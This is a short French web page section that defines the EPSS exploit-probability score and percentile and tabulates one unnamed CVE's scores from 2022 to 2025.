EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date EPSS V0 EPSS V1 EPSS V2 (> 2022-02-04) EPSS V3 (> 2025-03-07) EPSS V4 (> 2025-03-17) 2022-02-06 – – 1.55% – – 2022-03-20 – – 1.55% – – 2022-04-03 – – 1.55% – – 2022-07-03 – – 1.55% – – 2022-11-13 – – 1.55% – – 2022-11-20 – – 1.55% – – 2022-12-25 – – 1.55% – – 2023-01-01 – – 1.55% – – 2023-02-19 – – 1.55% – – 2023-03-12 – – – 0.04% – 2023-11-05 – – – 0.04% – 2023-12-03 – – – 0.04% – 2024-03-31 – – – 0.04% – 2024-06-02 – – – 0.04% – 2024-08-25 – – – 0.04% – 2024-12-08 – – – 0.04% – 2025-03-09 – – – 0.04% – 2025-01-19 – – – 0.04% – 2025-03-09 – – – 0.04% – 2025-03-18 – – – – 0.29% 2025-03-30 – – – – 0.47% 2025-04-06 – – – – 0.47% 2025-04-06 – – – – 0.47,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date Percentile 2022-02-06 52% 2022-03-20 53% 2022-04-03 73% 2022-07-03 74% 2022-11-13 75% 2022-11-20 74% 2022-12-25 75% 2023-01-01 74% 2023-02-19 75% 2023-03-12 8% 2023-11-05 9% 2023-12-03 8% 2024-03-31 9% 2024-06-02 1% 2024-08-25 11% 2024-12-08 12% 2025-03-09 13% 2025-01-19 12% 2025-03-09 13% 2025-03-18 5% 2025-03-30 61% 2025-04-06 62% 2025-04-06 62%
